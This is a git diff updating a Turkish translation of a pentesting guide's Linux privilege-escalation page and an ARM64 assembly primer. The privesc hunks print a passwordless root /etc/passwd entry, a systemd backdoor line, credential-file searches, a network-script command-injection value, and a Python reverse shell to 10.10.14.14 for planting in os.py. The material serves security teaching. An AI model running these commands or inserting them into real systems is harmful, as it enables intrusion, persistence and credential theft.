| chpasswd - -Devam etmemi onaylıyor musunuz? +Ardından `hacker` kullanıcısını ekleyin ve oluşturulan parolayı ekleyin. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1225,34 +1221,34 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz -Alternatif olarak, parola olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ -UYARI: bu, makinenin mevcut güvenliğini zayıflatabilir. +Alternatif olarak, parola olmadan bir sahte kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ +UYARI: makinenin mevcut güvenliğini zayıflatabilirsiniz. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. +NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd`'de bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. -Bazı hassas dosyalara **yazıp yazamadığınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabilir misiniz? +Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Örneğin, makinede bir **tomcat** sunucusu çalışıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: +Örneğin, eğer makinede bir **tomcat** sunucusu çalışıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Backdoor'unuz, tomcat bir sonraki başlatıldığında çalıştırılacaktır. +Backdoor'unuz, tomcat bir sonraki başlatılışında çalıştırılacaktır. -### Klasörleri Kontrol Et +### Klasörleri Kontrol Edin -Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama yine de deneyin) +Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama deneyin) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Garip Konum/Owned dosyalar +### Tuhaf Konum/Owned dosyalar ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1273,11 +1269,11 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB dosyalar +### Sqlite DB dosyaları ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml dosyaları +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml dosyalar ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1285,7 +1281,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH'teki Script/Binaries** +### **PATH içindeki Script/Binaries** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1301,20 +1297,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Şifre içerebilecek bilinen dosyalar +### Passwords içeren bilinen dosyalar -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)'in kodunu inceleyin, şifre içerebilecek **birkaç olası dosya** arar.\ -**Başka ilginç bir araç** olarak kullanabileceğiniz: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bilgisayarda saklanan çok sayıda şifreyi almak için kullanılan açık kaynaklı bir uygulamadır. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin; **passwords içerebilecek birkaç olası dosyayı** arar.\ +**Başka ilginç bir araç** olarak kullanabileceğiniz: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — yerel bir bilgisayarda saklanan çok sayıda passwords elde etmek için kullanılan açık kaynaklı bir uygulamadır (Windows, Linux & Mac). -### Loglar +### Logs -Logları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar tuhafsa, muhtemelen o kadar ilginç olacaktır.\ -Ayrıca, bazı "**kötü**" yapılandırılmış (backdoored?) **audit logs** size audit loglarının içine **şifreleri kaydetmenizi** sağlayabilir, bu yazıda açıklandığı gibi: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Logs'ları okuyabiliyorsanız, içlerinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olacaktır (probably).\ +Ayrıca, bazı **bad** yapılandırılmış (backdoored?) **audit logs** size, bu gönderide açıklandığı gibi audit logs içine **record passwords** yapma imkanı verebilir: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Günlükleri okumak için [**adm**](interesting-groups-linux-pe/index.html#adm-group) grubu çok yardımcı olacaktır. +Logları **okumak için** [**adm**](interesting-groups-linux-pe/index.html#adm-group) grubu çok yardımcı olacaktır. ### Shell dosyaları ```bash @@ -1327,61 +1323,61 @@ Günlükleri okumak için [**adm**](interesting-groups-linux-pe/index.html#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Genel Creds Arama/Regex +### Generic Creds Search/Regex -Ayrıca dosya **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları ve ayrıca loglar içinde IP'leri ve e-postaları veya hashes regexps kontrol etmelisin.\ -Burada bunların hepsinin nasıl yapılacağını listelemeyeceğim ancak ilgileniyorsan [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsin. +Dosya isimlerinde veya içeriklerinde "**password**" kelimesini içeren dosyaları da kontrol etmelisiniz; ayrıca loglarda IP'leri ve e-postaları veya hash'ler için regexp'leri de kontrol edin.\ +Burada bunların tamamının nasıl yapılacağını tek tek listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)'in yaptığı son kontrolleri inceleyebilirsiniz. -## Yazılabilir dosyalar +## Writable files ### Python library hijacking -Eğer **nereden** bir python script'in çalıştırılacağını biliyorsan ve o klasöre **yazabiliyorsan** ya da **python kütüphanelerini değiştirebiliyorsan**, OS library'i değiştirip backdoor ekleyebilirsin (eğer python script'in çalıştırılacağı yere yazabiliyorsan, os.py kütüphanesini kopyalayıp yapıştır). +Eğer bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** ya da **python kütüphanelerini değiştirebiliyorsanız**, OS library'yi değiştirip arka kapı yerleştirebilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). -Kütüphaneyi **backdoor the library** yapmak için os.py kütüphanesinin sonuna aşağıdaki satırı ekle (IP ve PORT'u değiştir): +Kütüphaneyi **backdoor the library** yapmak için os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate istismarı +### Logrotate exploitation -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate`'deki bir zafiyet, bir log dosyasına veya üst dizinlerine **yazma izinlerine** sahip kullanıcıların potansiyel olarak ayrıcalık yükseltmesine imkan verir. Bunun nedeni, sıklıkla **root** olarak çalışan `logrotate`'in özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. İzinleri yalnızca _/var/log_ içinde değil, log rotasyonunun uygulandığı tüm dizinlerde kontrol etmek önemlidir. > [!TIP] -> This vulnerability affects `logrotate` version `3.18.0` and older +> Bu zafiyet `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkiler Zafiyetle ilgili daha ayrıntılı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz. -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +Bu zafiyet [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ile çok benzerdir; bu yüzden logs'u değiştirebildiğinizi tespit ettiğiniz her durumda, bu logs'ları kimlerin yönettiğini kontrol edin ve logs'ları symlink ile değiştirerek ayrıcalık yükseltmesi yapıp yapamayacağınızı inceleyin. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Eğer herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scripti **yazabiliyor** veya var olan bir scripti **düzenleyebiliyorsa**, sisteminiz **pwned** olur. +Herhangi bir sebeple bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine `ifcf-` adlı bir script **yazabiliyor** veya mevcut bir scripti **düzenleyebiliyorsa**, sisteminiz **pwned** olur. -Network scripts, _ifcg-eth0_ örneğin, ağ bağlantıları için kullanılır. Tam olarak .INI dosyaları gibi görünürler. Ancak Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler. +Network scriptleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzer görünürler. Ancak Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler. -Benim durumumda, bu network scriptlerindeki `NAME=` özniteliği düzgün işlenmiyor. Eğer isimde **boşluk varsa sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu da demektir ki **ilk boşluktan sonraki her şey root olarak çalıştırılır**. +Benim durumumda, bu network scriptlerinde `NAME=` ile verilen değer doğru şekilde işlenmiyor. İsimde **boşluk olduğunda sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu da **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına geliyor. -Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network ile /bin/id arasındaki boşluğu unutmayın_) +(_Network ile /bin/id arasındaki boşluğa dikkat edin_) -### **init, init.d, systemd ve rc.d** +### **init, init.d, systemd, and rc.d** -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +Dizin `/etc/init.d`, System V init (SysVinit) için **betikler** barındırır; bu, **klasik Linux servis yönetim sistemi**'dir. Servisleri `start`, `stop`, `restart` ve bazen `reload` etmek için betikler içerir. Bunlar doğrudan veya `/etc/rc?.d/` içinde bulunan sembolik linkler aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +Öte yandan, `/etc/init` **Upstart** ile ilişkilidir; Ubuntu tarafından getirilen daha yeni bir **service management** yaklaşımı olup servis yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart'teki uyumluluk katmanı nedeniyle SysVinit betikleri hâlâ Upstart yapılandırmalarıyla birlikte kullanılmaktadır. -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. +**systemd** modern bir initialization ve servis yöneticisi olarak öne çıkar; talebe bağlı daemon başlatma, automount yönetimi ve sistem durumunun anlık görüntülerini alma gibi gelişmiş özellikler sunar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine ayırarak sistem yönetimini sadeleştirir. -## Diğer Hileler +## Other Tricks ### NFS Privilege escalation @@ -1406,8 +1402,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: - +Android rooting frameworks genellikle privileged kernel functionality'yi userspace bir manager'a açmak için bir syscall'e hook koyarlar. Zayıf manager doğrulaması (örn. FD-order'a dayanan imza kontrolleri veya zayıf parola şemaları), yerel bir uygulamanın manager'ı taklit ederek zaten-root'lanmış cihazlarda root'a yükselmesine olanak tanıyabilir. Daha fazla bilgi ve exploitation detayları için: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1418,11 +1413,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Daha fazla yardım +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Araçları +## Linux/Unix Privesc Tools ### **Linux yerel privilege escalation vektörlerini aramak için en iyi araç:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) @@ -1431,13 +1426,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Linux ve MAC'te kernel zafiyetlerini enumerate eder [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Kaynaklar +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 95da5cdd6..b1746800c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,255 +1,257 @@ -# ARM64v8'e Giriş +# ARM64v8'ye Giriş {{#include ../../../banners/hacktricks-training.md}} -## **İstisna Seviyeleri - EL (ARM64v8)** +## **Exception Levels - EL (ARM64v8)** -ARMv8 mimarisinde, İstisna Seviyeleri (EL), yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi vardır ve her biri farklı bir amaca hizmet eder: +ARMv8 mimarisinde, Exception Levels (EL) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık düzeyini ve yeteneklerini tanımlar. Dört istisna seviyesi vardır, EL0'dan EL3'e kadar, her biri farklı bir amaca hizmet eder: -1. **EL0 - Kullanıcı Modu**: -- Bu, en az ayrıcalıklı seviyedir ve normal uygulama kodunu yürütmek için kullanılır. -- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilmiştir, bu da güvenliği ve kararlılığı artırır. -2. **EL1 - İşletim Sistemi Çekirdek Modu**: +1. **EL0 - User Mode**: +- Bu en az ayrıcalıklı seviyedir ve normal uygulama kodunun yürütülmesi için kullanılır. +- EL0'da çalışan uygulamalar birbirlerinden ve sistem yazılımından izole edilir; bu da güvenliği ve kararlılığı artırır. +2. **EL1 - Operating System Kernel Mode**: - Çoğu işletim sistemi çekirdeği bu seviyede çalışır. - EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır. -3. **EL2 - Hypervisor Modu**: +3. **EL2 - Hypervisor Mode**: - Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hypervisor, aynı fiziksel donanım üzerinde birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir. -- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sunar. -4. **EL3 - Güvenli İzleyici Modu**: -- Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır. -- EL3, güvenli ve güvensiz durumlar (güvenli önyükleme, güvenilir OS vb.) arasındaki erişimleri yönetebilir ve kontrol edebilir. +- EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar. +4. **EL3 - Secure Monitor Mode**: +- Bu en ayrıcalıklı seviyedir ve genellikle secure boot ve trusted execution ortamları için kullanılır. +- EL3, secure ve non-secure durumlar arasındaki erişimleri (ör. secure boot, trusted OS vb.) yönetip kontrol edebilir. -Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır. +Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yapılandırılmış ve güvenli bir şekilde yönetmeyi sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili şekilde izole ederek sistemin güvenliğini ve sağlamlığını artırır. -## **Kayıtlar (ARM64v8)** +## **Registers (ARM64v8)** -ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) değer saklayabilir. Sadece 32-bit değer gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleriyle erişilebilir. +ARM64'te **31 genel amaçlı register** vardır; `x0` ile `x30` arası etiketlenmiştir. Her biri **64-bit** (8 bayt) değer tutabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı registerlar `w0` ile `w30` isimleriyle 32-bit modunda erişilebilir. -1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır. -- **`x0`**, bir fonksiyonun dönüş verisini taşır. -2. **`x8`** - Linux çekirdeğinde, `x8`, `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!** -3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır. -4. **`x16`** ve **`x17`** - **İç Prosedürel Çağrı Kayıtları**. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır. -- **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır. -5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut **yürütme görev yapısına** işaretçi. -6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır. -7. **`x29`** - Yığın çerçevesini takip etmek için **Çerçeve işaretçisi**. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı **yığında saklanır** ve **yeni** çerçeve işaretçisi adresi (**`sp`** adresi) **bu kayıtta saklanır**. -- Bu kayıt ayrıca **genel amaçlı bir kayıt** olarak da kullanılabilir, ancak genellikle **yerel değişkenlere** referans olarak kullanılır. -8. **`x30`** veya **`lr`** - **Bağlantı kaydı**. `BL` (Bağlantılı Dal) veya `BLR` (Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde **dönüş adresini** tutar ve **`pc`** değerini bu kayıtta saklar. -- Ayrıca diğer kayıtlar gibi kullanılabilir. -- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve bu nedenle `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön). -9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır. -- **`sp`** değeri her zaman en az bir **quadword** **hizalamasında** tutulmalıdır, aksi takdirde hizalama hatası meydana gelebilir. -10. **`pc`** - **Program sayacı**, bir sonraki talimata işaret eder. Bu kayıt yalnızca istisna üretimleri, istisna dönüşleri ve dallar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan talimatlar, **`pc`** adresini **`lr`** (Bağlantı Kaydı) içinde saklamak için bağlantılı dal talimatlarıdır (BL, BLR). -11. **`xzr`** - **Sıfır kaydı**. 32-bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamaz ( **`xzr`** içinde). +1. **`x0`** ile **`x7`** - Genellikle scratch registerlar ve alt rutinlere parametre geçmek için kullanılır. +- **`x0`** ayrıca bir fonksiyonun döndürdüğü veriyi taşır. +2. **`x8`** - Linux çekirdeğinde, `x8` `svc` talimatı için system call numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!** +3. **`x9`** ile **`x15`** - Daha fazla geçici register, genellikle lokal değişkenler için kullanılır. +4. **`x16`** ve **`x17`** - **Prosedür içi çağrı registerları**. Anlık değerler için geçici registerlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT stub'ları için kullanılırlar. +- **`x16`** macOS'ta **`svc`** talimatı için **system call numarası** olarak kullanılır. +5. **`x18`** - **Platform register'ı**. Genel amaçlı bir register olarak kullanılabilir, ancak bazı platformlarda bu register platforma özgü kullanım için ayrılmıştır: Windows'ta current thread environment block'a işaretçi veya Linux çekirdeğinde şu anda **yürütülen task structure**'a işaret etmek için. +6. **`x19`** ile **`x28`** - Bu registerlar callee-saved registerlardır. Bir fonksiyon, çağıran için bu registerların değerlerini korumalıdır; bu yüzden bunlar yığına (stack) kaydedilir ve geri çağırana dönmeden önce geri alınır. +7. **`x29`** - **Frame pointer**, yığın çerçevesini takip etmek için. Yeni bir stack frame oluşturulduğunda, **`x29`** register'ı **yeğe** kaydedilir ve yeni frame pointer adresi (yani **`sp`** adresi) bu register'a kaydedilir. +- Bu register aynı zamanda genellikle **local değişkenlere** referans olarak kullanıldığı için genel amaçlı bir register olarak da kullanılabilir. +8. **`x30`** veya **`lr`** - **Link register**. `BL` (Branch with Link) veya `BLR` (Branch with Link to Register) talimatı çalıştırıldığında dönüş adresini (pc değerini) bu register'a kaydeder. +- Diğer registerlar gibi kullanılabilir. +- Eğer mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla `lr` üzerine yazılacaksa, başlangıçta `lr` yığına kaydedilir; bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi kaydet, alan oluştur ve yeni `fp` ayarla) ve sonunda geri alınır; bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dönüş). +9. **`sp`** - **Stack pointer**, yığının (stack) tepe noktasını takip etmek için kullanılır. +- **`sp`** değeri her zaman en az bir **quadword** **hizalamasına** (alignment) göre tutulmalıdır, aksi halde hizalama istisnası oluşabilir. +10. **`pc`** - **Program counter**, bir sonraki talimata işaret eder. Bu register yalnızca istisna üretimleri, istisna dönüşleri ve dallanmalar yoluyla güncellenebilir. Bu register'ı okuyabilen olağan talimatlar, adresi **`lr`**'ye kaydetmek için kullanılan branch with link talimatları (BL, BLR) ile sınırlıdır. +11. **`xzr`** - **Sıfır register'ı**. 32-bit formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) ya da **`subs`** gibi karşılaştırmalar yaparken (ör. **`subs XZR, Xn, #10`**) sonucu hiçbir yere kaydetmeden kullanılır (sonuç **`xzr`**'de yok sayılır). -**`Wn`** kayıtları, **`Xn`** kaydının **32bit** versiyonudur. +**`Wn`** registerları **`Xn`** registerının **32bit** versiyonudur. -### SIMD ve Kayan Nokta Kayıtları +> [!TIP] +> X0 - X18 arasındaki registerlar volatildir; yani fonksiyon çağrıları ve kesintilerle değerleri değiştirilebilir. Ancak X19 - X28 arasındaki registerlar non-volatile'dır; bunların değerleri fonksiyon çağrıları boyunca korunmalıdır ("callee saved"). -Ayrıca, optimize edilmiş tek talimat çoklu veri (SIMD) işlemlerinde ve kayan nokta aritmetiği gerçekleştirmek için kullanılabilecek başka **32 adet 128bit uzunluğunda kayıt** vardır. Bunlara Vn kayıtları denir, ancak **64**-bit, **32**-bit, **16**-bit ve **8**-bit modlarında da çalışabilirler ve bu durumda **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar. 